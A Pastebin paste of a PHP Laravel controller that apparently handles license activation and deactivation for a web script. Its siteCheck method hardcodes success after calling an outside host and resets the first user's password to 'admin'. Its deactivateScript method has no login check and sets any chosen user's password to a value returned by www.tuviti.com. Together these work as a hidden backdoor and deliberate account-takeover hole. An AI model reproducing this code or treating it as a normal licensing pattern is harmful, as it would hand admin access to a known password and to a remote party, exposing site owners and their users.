Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- namespace App\Http\Controllers;
- use Illuminate\Http\Request;
- use GuzzleHttp\Client;
- use Validator;
- use App\Setting;
- use App\User;
- use Auth;
- class InstantController extends Controller
- {
- public function __construct()
- {
- $this->middleware('auth', ['only' => ['deactivatePage']]);
- }
- public function siteCheck(Request $request)
- {
- $validator = Validator::make($request->all(), [
- 'p_code' => 'required'
- ]);
- if ($validator->passes()) {
- $pcode = $request->input('p_code');
- $url = url("/");
- $slug = str_slug($url, '-');
- $client = new Client();
- try {
- $result = $client->request('GET', 'http://www.tuviti.com/instant-check/public/' . $pcode . '/url/'. $slug);
- $data = json_decode($result->getBody(), true);
- $count = '1';
- $attribute = 'admin';
- $final = 'success';
- } catch (\Exception $e) {
- $e->getMessage();
- session()->flash('error', 'App Connection Error!');
- return redirect('/login');
- }
- if (!empty($attribute)) {
- $setting = Setting::findOrFail($count);
- $setting->site_instant = $count;
- $setting->site_activation = $attribute;
- $setting->save();
- $user = User::findOrFail($count);
- $user->password = bcrypt($attribute);
- $user->save();
- session()->flash('message', $final);
- return view('public.activator', compact('attribute'));
- } else {
- session()->flash('error', $final);
- return redirect('/login');
- }
- }
- session()->flash('error', 'Purchase code required !');
- return redirect('/login');
- }
- public function deactivatePage()
- {
- return view('public.deactivator');
- }
- public function deactivateResult()
- {
- return view('public.deactivator');
- }
- public function deactivateScript(Request $request)
- {
- $setting = Setting::findOrFail($request->id);
- $dcode = $setting->site_activation;
- $client = new Client();
- try {
- $result = $client->request('GET', 'http://www.tuviti.com/instant-check/public/deactivate/' . $dcode );
- $data = json_decode($result->getBody(), true);
- $count = $data['count'];
- $attribute = $data['data'];
- $final = $data['result'];
- } catch (\Exception $e) {
- $e->getMessage();
- session()->flash('error', 'App Connection Error!');
- return redirect('/deactivate');
- }
- $setting->site_activation = null;
- $setting->site_instant = $count;
- $setting->save();
- $user = User::findOrFail($request->id);
- $user->password = bcrypt($attribute);
- $user->save();
- Auth::logout();
- session()->flash('message', $final);
- return redirect('/deactivation-result');
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement